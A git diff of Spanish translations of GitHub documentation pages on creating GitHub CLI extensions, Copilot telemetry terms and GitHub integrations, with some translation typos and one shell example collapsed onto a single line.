+## Construcciones de programador y beta
+
+Puedes encontrar errores inesperados en beta y en construcciones de programador de nuestros navegadores compatibles. Si encuentras un error en {% data variables.product.product_name %} en uno de estas construcciones no lanzadas, verifica que también exista en la versión estable del mismo navegador. Si el error solo existe en la versión inestable, considera informar el error al programador del navegador.
diff --git a/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md b/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md
index e51a8bd6a9..ad36561092 100644
--- a/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md
+++ b/translations/es-ES/content/github-cli/github-cli/creating-github-cli-extensions.md
@@ -1,6 +1,6 @@
 ---
-title: Creating GitHub CLI extensions
-intro: 'Learn how to share new {% data variables.product.prodname_cli %} commands with other users by creating custom extensions for {% data variables.product.prodname_cli %}.'
+title: Crear extensiones del CLI de GitHub
+intro: 'Aprende cómo compartir comandos nuevos de {% data variables.product.prodname_cli %} con otros usurios creando extensiones personalizadas para {% data variables.product.prodname_cli %}.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -10,77 +10,77 @@ topics:
   - CLI
 ---
 
-## About {% data variables.product.prodname_cli %} extensions
+## Acerca de las extensiones del {% data variables.product.prodname_cli %}
 
-{% data reusables.cli.cli-extensions %} For more information about how to use {% data variables.product.prodname_cli %} extensions, see "[Using {% data variables.product.prodname_cli %} extensions](/github-cli/github-cli/using-github-cli-extensions)."
+{% data reusables.cli.cli-extensions %} Para obtener más información sobre cómo utilizar extensiones de {% data variables.product.prodname_cli %}, consulta la sección "[Utilizar extensiones de {% data variables.product.prodname_cli %}](/github-cli/github-cli/using-github-cli-extensions)".
 
-You need a repository for each extension that you create. The repository name must start with `gh-`. The rest of the repository name is the name of the extension. The repository must have an executable file at its root with the same name as the repository or a set of precompiled binary executables attached to a release.
+Necesitas un repositorio para cada extensión que crees. El nombre de repositorio debe iniciar con `gh-`. El resto del nombre del repositorio es el nombre de la extensión. El repositorio debe tener un archivo ejecutable en su raíz con el mismo nombre del repositorio o un conjunto de archivos binarios ejecutables precompilados adjuntos a un lanzamiento.
 
 {% note %}
 
-**Note**: When relying on an executable script, we recommend using a bash script because bash is a widely available interpreter. You may use non-bash scripts, but the user must have the necessary interpreter installed in order to use the extension. If you would prefer to not rely on users having interpreters installed, consider a precompiled extension.
+**Nota**: Cuando confíes en un script ejecutable, te recomendamos utilizar un script de bash, ya que bash es un intérprete ampliamente disponible. Puedes utilizar scripts diferentes a los de bash, pero el usuario debe tener el interprete necesario instalado para poder utilizar la extensión. Si prefieres no confiar en usuarios que tengan intérpretes instalados, considera utilizar una extensión precompilada.
 
 {% endnote %}
 
-## Creating an interpreted extension with `gh extension create`
+## Crear una extensión interpretada con `gh extension create`
 
 {% note %}
 
-**Note**: Running `gh extension create` with no arguments will start an interactive wizard.
+**Nota**: El ejecutar `gh extension create` sin argumentos iniciará un asistente interactivo.
 
 {% endnote %}
 
-You can use the `gh extension create` command to create a project for your extension, including a bash script that contains some starter code.
+Puedes utilizar el comando `gh extension create` para crear un proyecto para tu extensión, incluyendo un script de bash que contenga algo de código de inicio.
 
-1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension.
+1. Configura una extensión utilizando el subcomando `gh extension create`. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión.
 
     ```shell
     gh extension create <em>EXTENSION-NAME</em>
     ```
 
-1. Follow the printed instructions to finalize and optionally publish your extension.
+1. Sigue las instrucciones impresas para finalizar y, opcionalmente, publicar tu extensíón.
 
-## Creating a precompiled extension in Go with `gh extension create`
+## Crear una extensión precompilada en Go con `gh extension create`
 
-You can use the `--precompiled=go` argument to create a Go-based project for your extension, including Go scaffolding, workflow scaffolding, and starter code.
+Puedes utilizar el argumento `--precompiled=go` para crear un proyecto basado en Go para tu extensión, incluyendo el andamiaje de go, de flujos de trabajo y código inicial.
 
-1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension and specify `--precompiled=go`.
+1. Configura una extensión utilizando el subcomando `gh extension create`. Reemplaza a `EXTENSION-NAME` con el nombre de tu extensión y especifica `--precompiled=go`.
 
     ```shell
     gh extension create --precompiled=go <em>EXTENSION-NAME</em>
     ```
 
-1. Follow the printed instructions to finalize and optionally publish your extension.
+1. Sigue las instrucciones impresas para finalizar y, opcionalmente, publicar tu extensíón.
 
-## Creating a non-Go precompiled extension with `gh extension create`
+## Crear una extensión precompilada que no sea de Go con `gh extension create`
 
-You can use the `--precompiled=other` argument to create a project for your non-Go precompiled extension, including workflow scaffolding.
+Puedes utilizar el argumento `--precompiled=other` para crear un proyecto para tu extensión precompilada que no esté en Go, incluyendo el andamiaje de flujos de trabajo.
 
-1. Set up a new extension by using the `gh extension create` subcommand. Replace `EXTENSION-NAME` with the name of your extension and specify `--precompiled=other`.
+1. Configura una extensión utilizando el subcomando `gh extension create`. Reemplaza a `EXTENSION-NAME` con el nombre de tu extensión y especifica `--precompiled=other`.
 
     ```shell
     gh extension create --precompiled=other <em>EXTENSION-NAME</em>
     ```
 
-1. Add some initial code for your extension in your compiled language of choice.
+1. Agrega algo de código inicial para tu extensión en el lenguaje de compilación que elijas.
 
-1. Fill in `script/build.sh` with code to build your extension to ensure that your extension can be built automatically.
+1. Llena a `script/build.sh` con código para crear tu extensión y asegurarte de que esta puede compilarse automáticamente.
 
-1. Follow the printed instructions to finalize and optionally publish your extension.
+1. Sigue las instrucciones impresas para finalizar y, opcionalmente, publicar tu extensíón.
 
-## Creating an interpreted extension manually
+## Crear una extensión interpretada manualmente
 
-1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`.
+1. Crea un directorio local para tu extensión llamado `gh-EXTENSION-NAME`. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión. Por ejemplo, `gh-whoami`.
 
-1. In the directory that you created, add an executable file with the same name as the directory.
+1. En el directorio que creaste, agrega un archivo ejecutable con el mismo nombre que el directorio.
 
   {% note %}
 
-  **Note:** Make sure that your file is executable. On Unix, you can execute `chmod +x file_name` in the command line to make `file_name` executable. On Windows, you can run `git init -b main`, `git add file_name`, then `git update-index --chmod=+x file_name`.
+  **Nota:** Asegúrate de que tu archivo sea ejecutable. En Unix, puedes ejecutar `chmod +x file_name` en la línea de comandos para hacer ejecutable a `file_name`. En Windows, puedes ejecutar `git init -b main`, `git add file_name`, luego `git update-index --chmod=+x file_name`.
 
   {% endnote %}
 
-1. Write your script in the executable file. For example:
+1. Escribe tu script en el archivo ejecutable. Por ejemplo:
 
   ```bash
   #!/usr/bin/env bash
@@ -88,19 +88,19 @@ You can use the `--precompiled=other` argument to create a project for your non-
   exec gh api user --jq '"You are @\(.login) (\(.name))."'
   ```
 
-1. From your directory, install the extension as a local extension.
+1. Desde tu directorio, instala la extensión como extensión local.
 
    ```shell
    gh extension install .
    ```
 
-1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`.
+1. Verifica que tu extensión funcione. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión. Por ejemplo, `whoami`.
 
    ```shell
    gh <em>EXTENSION-NAME</em>
    ```
 
-1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension.
+1. Desde tu directorio, crea un repositorio para publicar tu extensión. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión.
 
    ```shell
    git init -b main
@@ -108,15 +108,15 @@ You can use the `--precompiled=other` argument to create a project for your non-
    gh repo create gh-<em>EXTENSION-NAME</em> --source=. --public --push
    ```
 
-1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
+1. Opcionalmente, para ayudar a que otros usuarios descubran tu extensión, agrega el tema de repositorio `gh-extension`. Esto hará que la extensión aparezca en la [página de tema `gh-extension`](https://github.com/topics/gh-extension). Para obtener más información sobre cómo agregar un tema de repositorio, consulta la sección "[Clasificar tu repositorio con temas](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)".
 
-## Tips for writing interpreted {% data variables.product.prodname_cli %} extensions
+## Tipos para escribir extensiones interpretadas de {% data variables.product.prodname_cli %}
 
-### Handling arguments and flags
+### Manejar argumentos y marcadores
 
-All command line arguments following a `gh my-extension-name` command will be passed to the extension script. In a bash script, you can reference arguments with `$1`, `$2`, etc. You can use arguments to take user input or to modify the behavior of the script.
+Todos los argumentos de línea de comandos que le sigan a un comando `gh my-extension-name` se pasará al script de la extensión. En un script de bash, puedes referenciar argumentos con `$1`, `$2`, etc. Puedes utilizar argumentos para tomar aportaciones de los usuarios o para modificar el comportamiento del script.
 
-For example, this script handles multiple flags. When the script is called with the `-h` or `--help` flag, the script prints help text instead of continuing execution. When the script is called with the `--name` flag, the script sets the next value after the flag to `name_arg`. When the script is called with the `--verbose` flag, the script prints a different greeting.
+Por ejemplo, este script maneja marcadores múltiples. Cuando se llama a este script con el marcador `-h` o `--help`, este imprime el texto de ayuda en vez de continuar con la ejecución. Cuando se llama al script con el marcador `--name`, este configura el siguiente valor después del marcador en `name_arg`. Cuando se llama al script con el marcador `--verbose`, este imprime un saludo diferente.
 
 ```bash
 #!/usr/bin/env bash
@@ -152,43 +152,43 @@ else
 fi
 ```
 
-### Calling core commands in non-interactive mode
+### Llamar a los comandos de forma no interactiva
 
-Some {% data variables.product.prodname_cli %} core commands will prompt the user for input. When scripting with those commands, a prompt is often undesirable. To avoid prompting, supply the necessary information explicitly via arguments.
+Algunos comandos nucleares de {% data variables.product.prodname_cli %} pedirán la entrada del usuario. Cuando se hagan scripts con estos comandos, un mensaje a menudo se considera indeseable. Para evitar los mensajes, proporciona la información necesaria explícitamente a través de argumentos.
 
-For example, to create an issue programmatically, specify the title and body:
+Por ejemplo, para crear una propuesta con programación, especifica el título y cuerpo:
 
 ```shell
 gh issue create --title "My Title" --body "Issue description"
 ```
 
-### Fetching data programatically
+### Recuperar datos con programación
 
-Many core commands support the `--json` flag for fetching data programatically. For example, to return a JSON object listing the number, title, and mergeability status of pull requests:
+Muchos comandos nucleares son compatibles con el marcador `--json` para recuperar datos con programación. Por ejemplo, para devolver un objeto JSON listando el número, título y estado de capacidad de fusión de las solicitudes de cambios:
 
 ```shell
 gh pr list --json number,title,mergeStateStatus
 ```
 
-If there is not a core command to fetch specific data from GitHub, you can use the [`gh api`](https://cli.github.com/manual/gh_api) command to access the GitHub API. For example, to fetch information about the current user:
+Si no hay un comando nuclear para recuperar datos específicos de GitHub, puedes utilizar el comando [`gh api`](https://cli.github.com/manual/gh_api) para acceder a la API de GitHub. Por ejemplo, para recuperar información sobre el usuario actual:
 
 ```shell
 gh api user
 ```
 
-All commands that output JSON data also have options to filter that data into something more immediately usable by scripts. For example, to get the current user's name:
+Todos los comandos que emiten datos de JSON también tiene opciones para filtrar estos datos hacia algo más inmediatamente útil mediante scripts. Por ejemplo, para obtener el nombre del usuario actual:
 
 ```shell
 gh api user --jq '.name'
 ```
 
-For more information, see [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting).
+Para obtener más información, consulta [`gh help formatting`](https://cli.github.com/manual/gh_help_formatting).
 
-## Creating a precompiled extension manually
+## Crear una extensión precompilada manualmente
 
-1. Create a local directory called `gh-EXTENSION-NAME` for your extension. Replace `EXTENSION-NAME` with the name of your extension. For example, `gh-whoami`.
+1. Crea un directorio local para tu extensión llamado `gh-EXTENSION-NAME`. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión. Por ejemplo, `gh-whoami`.
 
-1. In the directory you created, add some source code. For example:
+1. En el directorio que creaste, agrega algo de código fuente. Por ejemplo:
 
     ```go
     package main
@@ -208,13 +208,13 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
     }
     ```
 
-1. From your directory, install the extension as a local extension.
+1. Desde tu directorio, instala la extensión como extensión local.
 
     ```shell
     gh extension install .
     ```
 
-1. Build your code. For example, with Go, replacing `YOUR-USERNAME` with your GitHub username:
+1. Compila tu código. Por ejemplo, con Go, reemplaza a `YOUR-USERNAME` con tu nombre de usuario de GitHub:
 
     ```shell
     go mod init github.com/<em>YOUR-USERNAME</em>/gh-whoami
@@ -222,17 +222,17 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
     go build
     ```
 
-1. Verify that your extension works. Replace `EXTENSION-NAME` with the name of your extension. For example, `whoami`.
+1. Verifica que tu extensión funcione. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión. Por ejemplo, `whoami`.
 
     ```shell
     gh <em>EXTENSION-NAME</em>
     ```
 
-1. From your directory, create a repository to publish your extension. Replace `EXTENSION-NAME` with the name of your extension.
+1. Desde tu directorio, crea un repositorio para publicar tu extensión. Reemplaza `EXTENSION-NAME` con el nombre de tu extensión.
 
   {% note %}
 
-  **Note:** Be careful not to commit the binary produced by your compilation step to version control.
+  **Nota:** Ten cuidado de no confirmar el producto binario mediante el paso de tu compilación hacia el control de la versión.
 
   {% endnote %}
 
@@ -243,39 +243,33 @@ For more information, see [`gh help formatting`](https://cli.github.com/manual/g
     gh repo create "gh-<em>EXTENSION-NAME</em>"
     ```
 
-1. Create a release to share your precompiled extension with others. Compile for each platform you want to support, attaching each binary to a release as an asset. Binary executables attached to releases must follow a naming convention and have a suffix of <em>OS-ARCHITECTURE\[EXTENSION\]</em>.
+1. Crea un lanzamiento para compartir tu extensión precompilada con otros. Compila para cada plataforma con la que quieras ser compatible, adjuntando cada binario a un lanzamiento como un activo. Los ejecutables binarios adjuntos a los lanzamientos deben seguir una convención de nombres y tener un sufijo de <em>OS-ARCHITECTURE\[EXTENSION\]</em>.
 
-  For example, an extension named `whoami` compiled for Windows 64bit would have the name `gh-whoami-windows-amd64.exe` while the same extension compiled for Linux 32bit would have the name `gh-whoami-linux-386`. To see an exhaustive list of OS and architecture combinations recognized by `gh`, see [this source code](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696).
+  Por ejemplo, una extensión de nombre `whoami` compilada para Windows de 64 bits tendría el nombre `gh-whoami-windows-amd64.exe`, mientras que la misma extensión compilada para Linux de 32 bits tendría el nombre `gh-whoami-linux-386`. Para ver una lista exhaustiva de combinaciones de SO y arquitectura que reconoce `gh`,, consulta [este código fuente](https://github.com/cli/cli/blob/14f704fd0da58cc01413ee4ba16f13f27e33d15e/pkg/cmd/extension/manager.go#L696).
 
   {% note %}
 
-  **Note:** For your extension to run properly on Windows, its asset file must have a `.exe` extension. No extension is needed for other operating systems.
+  **Nota:** Para que tu extensión se ejecute de forma adecuada en Windows, su archivo de activo debe tener una extensión `.exe`. No se necesita ninguna extensión para otros sistemas operativos.
 
   {% endnote %}
 
-  Releases can be created from the command line. For example:
+  Los lanzamientos pueden crearse desde la línea de comandos. Por ejemplo:
 
-  ```shell
-  git tag v1.0.0
-  git push origin v1.0.0
-  GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe
-  GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64
-  GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64
-  gh release create v1.0.0 ./*amd64*
+  ```shell git tag v1.0.0 git push origin v1.0.0 GOOS=windows GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-windows-amd64.exe GOOS=linux GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-linux-amd64 GOOS=darwin GOARCH=amd64 go build -o gh-<em>EXTENSION-NAME</em>-darwin-amd64 gh release create v1.0.0 ./*amd64*
 
-1. Optionally, to help other users discover your extension, add the repository topic `gh-extension`. This will make the extension appear on the [`gh-extension` topic page](https://github.com/topics/gh-extension). For more information about how to add a repository topic, see "[Classifying your repository with topics](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)."
+1. Opcionalmente, para ayudar a que otros usuarios descubran tu extensión, agrega el tema de repositorio `gh-extension`. Esto hará que la extensión aparezca en la [página de tema `gh-extension`](https://github.com/topics/gh-extension). Para obtener más información sobre cómo agregar un tema de repositorio, consulta la sección "[Clasificar tu repositorio con temas](/github/administering-a-repository/managing-repository-settings/classifying-your-repository-with-topics)".
 
 
-## Tips for writing precompiled {% data variables.product.prodname_cli %} extensions
+## Tips para escribir extensiones precompiladas de {% data variables.product.prodname_cli %}
 
-### Automating releases
+### Automatizar lanzamientos
 
-Consider adding the [gh-extension-precompile](https://github.com/cli/gh-extension-precompile) action to a workflow in your project. This action will automatically produce cross-compiled Go binaries for your extension and supplies build scaffolding for non-Go precompiled extensions.
+Considera agregar la acción [gh-extension-precompile](https://github.com/cli/gh-extension-precompile) a un flujo de trabajo en tu proyecto. Esta acción producirá archivos binarios intercompilados de Go automáticamente para tu extensión y proporcionará andamiaje de compilación para las extensiones precompiladas diferentes a las de Go.
 
-### Using {% data variables.product.prodname_cli %} features from Go-based extensions
+### Utilizar características del {% data variables.product.prodname_cli %} desde las extensiones basadas en Go
 
-Consider using [go-gh](https://github.com/cli/go-gh), a Go library that exposes pieces of `gh` functionality for use in extensions.
+Considera utilizar [go-gh](https://github.com/cli/go-gh), una librería de Go que expone piezas de la funcionalidad de `gh` para utilizarlas en las extensiones.
 
-## Next steps
+## Pasos siguientes
 
-To see more examples of {% data variables.product.prodname_cli %} extensions, look at [repositories with the `gh-extension` topic](https://github.com/topics/gh-extension).
+Para ver más ejemplos de extensiones de {% data variables.product.prodname_cli %}, revisa el [tema de repositorios con la `gh-extension`](https://github.com/topics/gh-extension).
diff --git a/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md b/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md
index ef3c3b99c6..ea963bfe6b 100644
--- a/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md
+++ b/translations/es-ES/content/github/copilot/github-copilot-telemetry-terms.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Copilot Telemetry Terms
-intro: 'Acceptance of the additional telemetry described below is a condition to joining the wait list for the technical preview of {% data variables.product.prodname_copilot %} and using {% data variables.product.prodname_copilot %} during the technical preview.'
+intro: 'El aceptar la telemetría adicional que se describe a continuación es una condición para unirse a la lista de espera para la vista previa técnica del {% data variables.product.prodname_copilot %} y para utilizar el {% data variables.product.prodname_copilot %} durante ella.'
 redirect_from:
   - /early-access/github/copilot/telemetry-terms
   - /github/copilot/telemetry-terms
@@ -9,9 +9,9 @@ versions:
 effectiveDate: '2021-10-04'
 ---
 
-## Additional telemetry
+## Telemetría adicional
 
 If you use {% data variables.product.prodname_copilot %}, the {% data variables.product.prodname_copilot %} extension/plugin will collect usage information about events generated by interacting with the integrated development environment (IDE). These events include {% data variables.product.prodname_copilot %} performance, features used, and suggestions accepted, modified and accepted, or dismissed. This information may include personal data, including your User Personal Information, as defined in the [GitHub Privacy Statement](/github/site-policy/github-privacy-statement).
 
-This usage information is used by {% data variables.product.company_short %}, and shared with Microsoft and OpenAI, to develop and improve the extension/plugin and related products. OpenAI also uses this usage information to perform other services related to {% data variables.product.prodname_copilot %}. For example, when you edit files with the {% data variables.product.prodname_copilot %} extension/plugin enabled, file content snippets, suggestions, and any modifications to suggestions will be shared with {% data variables.product.company_short %}, Microsoft, and OpenAI, and used for diagnostic purposes to improve suggestions and related products. {% data variables.product.prodname_copilot %} relies on file content for context, both in the file you are editing and potentially other files open in the same IDE instance. When you are using {% data variables.product.prodname_copilot %}, it may also collect the URLs of repositories or file paths for relevant files. {% data variables.product.prodname_copilot %} does not use these URLs, file paths, or snippets collected in your telemetry as suggestions for other users of {% data variables.product.prodname_copilot %}. This information is treated as confidential information and accessed on a need-to-know basis. You are prohibited from collecting telemetry data about other users of {% data variables.product.prodname_copilot %} from the {% data variables.product.prodname_copilot %} extension/plugin. For more details about {% data variables.product.prodname_copilot %} telemetry, please see "[About {% data variables.product.prodname_copilot %} telemetry](/github/copilot/about-github-copilot-telemetry)." You may revoke your consent to the telemetry and personal data processing operations described in this paragraph by contacting GitHub and requesting removal from the technical preview.
+This usage information is used by {% data variables.product.company_short %}, and shared with Microsoft and OpenAI, to develop and improve the extension/plugin and related products. OpenAI también utiliza esta información de uso para llevar a cabo otros servicios que se relacionan con el {% data variables.product.prodname_copilot %}. Por ejemplo, cuando editas archivos con la extensión/plugin del {% data variables.product.prodname_copilot %} habilitada, los extractos de contenido de archivo, las sugerencias y cualquier modificación a las sugerencias se compartirá con {% data variables.product.company_short %}, Microsoft y OpenAI y se utilizará para propósitos de diagnóstico para mejorar las sugerencias y los productos relacionados. El {% data variables.product.prodname_copilot %} depende del contenido de archivo para su contexto, tanto en el archivo que estás editando como potencialmente en otros archivos que están abiertos en la misma instancia de IDE. Cuando estás utilizando el {% data variables.product.prodname_copilot %}, este también podría recolectar las URL de los repositorios o rutas de archivo de los archivos relevantes. El {% data variables.product.prodname_copilot %} no utiliza estas URL, rutas de archivo o fragmentos de código que se recolectan en tu telemetría como sugerencias para otros usuarios del {% data variables.product.prodname_copilot %}. Esta información se maneja como confidencial y es el acceso a ella es conforme sea necesario. Se te prohíbe recolectar datos de telemetría sobre otros usuarios del {% data variables.product.prodname_copilot %} desde la extensión/aditamento del {% data variables.product.prodname_copilot %}. Para obtener más detalles sobre la telemetría del {% data variables.product.prodname_copilot %}, por favor, consulta la sección "[Acerca de la telemetría del {% data variables.product.prodname_copilot %}](/github/copilot/about-github-copilot-telemetry)". Puedes revocar tu consentimiento de las operaciones sobre el procesamiento de datos personales y la telemetría que se describen en este párrafo si contactas a GitHub y solicitas la eliminación de la vista previa técnica.
 
diff --git a/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md b/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md
index a0bd851731..100eb1677d 100644
--- a/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md
+++ b/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/about-integrations.md
@@ -1,6 +1,6 @@
 ---
-title: About integrations
-intro: 'Integrations are tools and services that connect with {% data variables.product.product_name %} to complement and extend your workflow.'
+title: Acerca de las integraciones
+intro: 'Las integraciones son herramientas y servicios que se conectan con {% data variables.product.product_name %} para complementar y extender tu flujo de trabajo.'
 redirect_from:
   - /articles/about-integrations
   - /github/customizing-your-github-workflow/about-integrations
@@ -8,34 +8,35 @@ versions:
   fpt: '*'
   ghec: '*'
 ---
-You can install integrations in your personal account or organizations you own. You can also install {% data variables.product.prodname_github_apps %} from a third-party in a specific repository where you have admin permissions or which is owned by your organization.
 
-## Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}
+Puedes instalar integraciones en tu cuenta personal o en las organizaciones que posees. También puedes instalar {% data variables.product.prodname_github_apps %} de un tercero en un repositorio específico donde tengas permisos de administrador o que sea propiedad de tu organización.
 
-Integrations can be {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %}, or anything that utilizes {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs or webhooks.
+## Diferencias entre las {% data variables.product.prodname_github_apps %} y las {% data variables.product.prodname_oauth_apps %}
 
-{% data variables.product.prodname_github_apps %} offer granular permissions and request access to only what the app needs. {% data variables.product.prodname_github_apps %} also offer specific user-level permissions that each user must authorize individually when an app is installed or when the integrator changes the permissions requested by the app.
+Las integraciones pueden ser {% data variables.product.prodname_github_apps %}, {% data variables.product.prodname_oauth_apps %} o cualquiera que utilice las API o webhooks de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.
 
-For more information, see:
-- "[Differences between {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)"
-- "[About apps](/apps/about-apps/)"
-- "[User-level permissions](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)"
-- "[Authorizing {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
-- "[Authorizing {% data variables.product.prodname_github_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)"
-- "[Reviewing your authorized integrations](/articles/reviewing-your-authorized-integrations/)"
+Las {% data variables.product.prodname_github_apps %} ofrecen permisos granulares y solicitan acceso únicamente a lo que necesita la app. Las {% data variables.product.prodname_github_apps %} también ofrecen un permiso a nivel de usuario que cada uno de estos debe autorizar individualmente cuando se instala la app o cuando el integrador cambia los permisos que solicita la app.
 
-You can install a preconfigured {% data variables.product.prodname_github_app %}, if the integrators or app creators have created their app with the {% data variables.product.prodname_github_app %} manifest flow. For information about how to  run your {% data variables.product.prodname_github_app %} with automated configuration, contact the integrator or app creator.
+Para obtener más información, consulta:
+- "[Diferencias entre las {% data variables.product.prodname_github_apps %} y las {% data variables.product.prodname_oauth_apps %}](/apps/differences-between-apps/)"
+- "[Acerca de las apps](/apps/about-apps/)"
+- "[Permisos a nivel de usario](/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps/#user-level-permissions)"
+- "[Autorizar las {% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps)"
+- "[Autorizar las {% data variables.product.prodname_github_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-github-apps)"
+- "[Revisar tus integraciones autorizadas](/articles/reviewing-your-authorized-integrations/)"
 
-You can create a {% data variables.product.prodname_github_app %} with simplified configuration if you build your app with Probot. For more information, see the [Probot docs](https://probot.github.io/docs/) site.
+Puedes instalar una {% data variables.product.prodname_github_app %} preconfigurada, si los integradores o los creadores de la aplicación han creado su aplicación con el flujo de manifiesto de {% data variables.product.prodname_github_app %}. Para obtener más información sobre cómo ejecutar tu {% data variables.product.prodname_github_app %} con configuración automatizada, comunícate con el integrador o el creador de la aplicación.
 
-## Discovering integrations in {% data variables.product.prodname_marketplace %}
+Puedes crear una {% data variables.product.prodname_github_app %} con configuración simplificada si creas tu aplicación con Probot. Para obtener más información, consulta el sitio [Documentos de Probot](https://probot.github.io/docs/).
 
-You can find an integration to install or publish your own integration in {% data variables.product.prodname_marketplace %}.
+## Descubrir integraciones en {% data variables.product.prodname_marketplace %}
 
-[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) contains {% data variables.product.prodname_github_apps %} and {% data variables.product.prodname_oauth_apps %}. For more information on finding an integration or creating your own integration, see "[About {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace)."
+Puedes encontrar una integración para instalar o publicar tu propia integración en {% data variables.product.prodname_marketplace %}.
 
-## Integrations purchased directly from integrators
+[{% data variables.product.prodname_marketplace %}](https://github.com/marketplace) contiene a las {% data variables.product.prodname_github_apps %} y las {% data variables.product.prodname_oauth_apps %}. Para obtener más información sobre cómo encontrar una integración o cómo crear tu propia integración, consulta "[Acerca de {% data variables.product.prodname_marketplace %}](/articles/about-github-marketplace)".
 
-You can also purchase some integrations directly from integrators. As an organization member, if you find a {% data variables.product.prodname_github_app %} that you'd like to use, you can request that an organization approve and install the app for the organization.
+## Integraciones compradas directamente a los integradores
 
-If you have admin permissions for all organization-owned repositories the app is installed on, you can install {% data variables.product.prodname_github_apps %} with repository-level permissions without having to ask an organization owner to approve the app. When an integrator changes an app's permissions, if the permissions are for a repository only, organization owners and people with admin permissions to a repository with that app installed can review and accept the new permissions.
+También puedes comprar algunas integraciones directamente a los integradores. Como miembro de una organización, si encuentras una {% data variables.product.prodname_github_app %} que te gustaría usar, puedes solicitar que una organización apruebe o instale la aplicación para la organización.
+
+Si tienes permisos de administrador para todos los repositorios que son propiedad de una organización en la que la aplicación está instalada, puedes instalar las {% data variables.product.prodname_github_apps %} con los permisos de nivel de repositorio sin tener que solicitar al propietario de la organización que apruebe la aplicación. Cuando un integrador cambia los permisos de la aplicación, si los permisos son solo para un repositorio, los propietarios de la organización y las personas con permisos de administrador para un repositorio con esa aplicación instalada pueden revisar y aceptar los nuevos permisos.
diff --git a/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md b/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
index 621628a074..2bb154f329 100644
--- a/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
+++ b/translations/es-ES/content/github/customizing-your-github-workflow/exploring-integrations/github-extensions-and-integrations.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub extensions and integrations
-intro: 'Use {% data variables.product.product_name %} extensions to work seamlessly in {% data variables.product.product_name %} repositories within third-party applications.'
+title: Extensiones e integraciones de GitHub
+intro: 'Utiliza las extensiones {% data variables.product.product_name %} para trabajar sin inconvenientes en los repositorios {% data variables.product.product_name %} dentro de las aplicaciones de terceros.'
 redirect_from:
   - /articles/about-github-extensions-for-third-party-applications
   - /articles/github-extensions-and-integrations
@@ -8,44 +8,45 @@ redirect_from:
 versions:
   fpt: '*'
   ghec: '*'
-shortTitle: Extensions & integrations
+shortTitle: Extensiones & integraciones
 ---
-## Editor tools
 
-You can connect to {% data variables.product.product_name %} repositories within third-party editor tools, such as Atom, Unity, and Visual Studio.
+## Herramientas del editor
 
-### {% data variables.product.product_name %} for Atom
+Puedes conectarte a los repositorios de {% data variables.product.product_name %} dentro de las herramientas de edición de terceros tales como Atom, Unity y Visual Studio.
 
